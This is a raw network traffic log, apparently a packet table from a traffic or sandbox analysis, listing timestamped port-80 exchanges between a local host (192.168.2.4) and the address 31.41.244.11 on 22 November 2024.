Nov 22, 2024 04:12:14.587199926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.587241888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.587986946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.588032007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.588079929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.588128090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.588829994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.588874102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.588942051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.588985920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.589710951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.589754105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.589828014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.589870930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.590617895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.590661049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.590723038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.590765953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.591512918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.591561079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.591614008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.591656923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.592397928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.592441082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.592513084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.592556000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.593276978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.593327999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.593389034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.593431950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.594131947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.594194889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.594235897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.594274998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.595032930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.595072031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.595160007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.595201015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.595911980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.595956087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.596020937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.596057892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.596797943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.596841097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.596895933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.596940994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.597657919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.597701073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.597780943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.597824097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.598562956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.598604918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.598674059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.598716021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.599441051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.599486113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.599549055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.599587917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.600323915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.600367069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.600455046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.600496054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.601236105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.601279020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.601336002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.601394892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.602108002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.602150917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.602210045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.602252007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.603001118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.603049040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.603116989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.603161097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.603873968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.603916883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.603929996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.603971958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.604778051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.604837894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.604847908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.604891062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.605382919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.605427027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.605493069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.605534077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.606276989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.606319904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.606374979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.606417894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.607142925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.607184887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.607256889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.607297897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.608057022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.608098984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.763442993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.763546944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.763555050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.763595104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.763905048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.763953924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.764082909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.764132023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.764754057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.764800072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.764869928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.764914036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.765599012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.765645027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.765700102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.765744925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.766484022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.766529083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.766598940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.766642094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.767379045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.767425060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.767479897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.767524958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.768246889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.768290043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.768347025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.768390894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.769134045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.769179106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.769232988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.769279957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.770006895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.770047903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.770108938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.770154953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.770888090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.770932913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.771002054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.771045923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.771775961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.771820068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.771888018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.771934032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.772696018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.772741079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.772815943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.772860050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.773530960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.773578882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.773644924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.773689985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.774440050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.774485111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.774518013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.774561882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.775321960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.775368929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.775407076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.775449991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.776181936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.776230097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.776320934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.776362896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.777085066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.777131081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.777131081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.777173996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.777966022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.778009892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.778045893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.778089046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.778846979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.778892040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.778948069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.778991938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.779715061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.779771090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.779807091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.779850960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.780613899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.780663013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.780711889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.780759096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.781496048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.781544924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.781600952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.781646013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.782376051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.782423973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.782497883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.782541990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.783276081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.783329964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.783387899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.783432961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.784137964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.784183025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.784254074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.784293890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.785032988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.785079002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.785147905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.785192966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.785936117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.785981894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.786020041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.786067009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.786808014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.786869049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.786921978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.786968946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.787682056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.787728071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.787767887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.787813902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.788578033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.788628101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.788686991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.788729906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.789459944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.789510965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.789602041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.789647102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.790352106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.790399075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.790446997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.790492058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.791224003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.791273117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.791310072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.791369915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.792146921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.792196989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.792234898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.792292118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.793000937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.793052912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.793114901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.793160915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.793875933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.793924093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.794004917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.794053078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.794758081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.794806957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.794863939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.794909954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.795639992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.795687914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.795754910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.795808077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.796528101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.796580076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.796622992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.796665907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.797439098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.797502041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.797533989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.797580957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.798321009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.798366070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.798414946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.798459053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.799186945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.799231052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.799300909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.799343109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.800067902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.800112009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.800178051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.800223112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.800967932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.801012993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.801045895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.801090002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.801846981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.801892996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.801966906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.802011013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.802731037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.802776098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.802808046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.802853107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.803622007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.803673029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.803726912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.803771019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.804502010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.804547071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.804718971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.804763079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.805382013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.805425882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.805494070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.805542946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.806257963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.806282997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.806329012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.806907892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.806957006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.806993961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.807046890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.807765007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.807826996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.807858944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.807904005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.808672905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.808716059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.808748960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.808795929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.809515953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.809560061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.964597940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.964634895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.964730978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.965022087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.965245962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.965313911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.965934038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.965987921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.966013908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.966093063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.966742039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.966789007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.966851950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.966898918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.967626095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.967675924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.967721939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.967787981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.968497992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.968564034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.968595028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.968643904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.969382048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.969435930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.969513893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.969566107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.970304966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.970354080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.970411062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.970459938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.971151114 CET	80	49760	31.41.244.11	192.168.2.4
